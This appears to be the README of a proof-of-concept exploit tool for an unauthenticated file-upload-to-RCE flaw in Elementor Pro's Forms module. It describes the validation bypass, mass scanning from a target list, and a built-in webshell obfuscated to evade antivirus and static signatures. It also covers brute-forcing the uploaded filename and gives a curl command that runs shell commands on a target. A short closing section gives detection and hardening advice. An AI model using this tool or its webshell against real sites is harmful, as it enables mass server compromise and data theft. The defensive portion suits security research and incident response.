
Proof-of-concept exploit for CVE-2026-32475, an unauthenticated arbitrary file upload in Elementor Pro leading to remote code execution. Includes mass scanning, brute-force filename confirmation, and a built-in obfuscated webshell for authorized testing.
Elementor Pro Pre-Authentication Arbitrary File Upload Leading to Remote Code Execution
Proof-of-concept for CVE-2026-32475, a critical unauthenticated arbitrary file upload in Elementor Pro's Forms module that ends in remote code execution. The PoC submits two file parts for the same upload field — an empty first entry (blank filename, triggering UPLOAD_ERR_NO_FILE) followed by the payload. The validation() loop exits early on the empty entry via return while process_field() skips it via continue, so the payload is never extension-checked and lands in a public directory with a .php extension. PoCs testing the corrected behavior, the same request after patching, must be dropped by the extension check.
Note: This PoC is for authorized security testing and research only. CVE-2026-32475 is being actively exploited in the wild, and Wordfence has blocked 190,000+ attempts since the August 19 disclosure. You are responsible for complying with all applicable laws and obtaining written authorization before testing any system.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requests libraryInstall dependencies:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell uploads a minimal obfuscated PHP webshell (keywords built at runtime via
chr()/implode/strrev, command parameter vapcom) so simple static signatures and
AV real-time scans on disk do not flag it. The stored filename is still random
(<uniqid()>.php); combine with --brute, which probes ?vapcom=echo <marker> and reports
exec confirmed: <name>.php. Manual use once located:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
| Argument | Description | Default |
|---|---|---|
-t, --target | Single target URL | - |
-T, --targets | File with target URLs, one per line | - |
-o, --output | Result file (CSV: target, status, form_id, post_id, field, note) | - |
--timeout | Request timeout in seconds | 15 |
--post-id | Override detected post_id | auto |
--form-id | Override detected form_id (Elementor widget id) | auto |
--field | Override detected upload field custom_id | auto |
--payload | Path to a custom payload file (default: benign PHP token file) | benign token |
--shell | Upload the built-in obfuscated PHP webshell (<?php ... system($_GET) ?> built at runtime, param vapcom) instead of the token | off |
--brute | After a successful upload, brute-force the uniqid() filename to confirm code execution | off |
--seconds-window | Seconds before/after the server Date header to brute-force | 5 |
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
response : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] done: 1/1 vulnerable
A success:true on the AJAX response means the payload was accepted without being extension-checked. Step 4 with --brute (a 200 on the guessed .php file containing the marker) confirms server-side PHP execution — i.e. full RCE.
Result statuses: vulnerable | patched | unknown | error
vulnerable — web server returned "success":true; the payload skipped the extension checkpatched — the upload was rejected with a file-type error (extension check ran)unknown — HTTP succeeded but the response was not success:true (wrong IDs or unexpected state)error — request/parse failure (timeout, non-200, form not found)<uniqid()>.<attacker_extension> — the submitted basename is discarded, so double-extension/null-byte tricks are irrelevant; only the extension check matters, and it is the thing that breaks..htaccess in wp-content/uploads/elementor/forms/ that sets Content-Disposition: attachment on all files. This does not stop execution — PHP still runs server-side and the downloaded response is the executed output. To render a shell in-browser in a lab, disable that .htaccess; in the real world treat it as cosmetic only and rely on server-level PHP blocking.uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), so the name is time-derived (Unix seconds, low 32 bits, + microseconds). The brute step brackets the second observed in the submit response's Date header and, for .php files, requests ?vapcom=echo <marker> (or ?c= for the token/--payload file) so a marker-bearing response is actual server-side PHP execution, not just a file read. Worst case is ~1M microsecond guesses per second, so tighten --seconds-window to keep runs short.# PHP files that should not exist in the uploads dir
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta file under the forms directory as evidence of compromise.GET under /wp-content/uploads/elementor/forms/ and POST carrying elementor_pro_forms_send_form.mu-plugins, modified core/theme files, and unexpected WP-Cron events; prefer restoring a known-good backup over cleaning in place.location rule or Apache <FilesMatch>). This is the durable fix and degrades this and future upload bugs to "disk wasted".elementor_pro_forms_send_form.